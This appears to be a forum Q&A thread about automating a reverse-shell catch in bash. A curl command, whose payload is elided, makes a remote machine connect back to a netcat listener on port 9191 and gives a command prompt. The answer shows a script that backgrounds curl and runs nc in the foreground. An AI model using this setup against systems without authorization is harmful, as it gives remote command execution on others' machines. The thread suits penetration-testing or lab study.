0

This question is more related to infosec, but I can't seem to find a workaround in automating the following process:

There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.

I am trying something like this in my bash script:

nc -lvnp 9191&  
curl ......  

The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$

If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:

$ nc -lvnp 9191&  
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )                                                                                                   
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh  
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.  
cmd>  

However, once I click 'enter', the netcat job gets suspended immediately:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.

0

So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.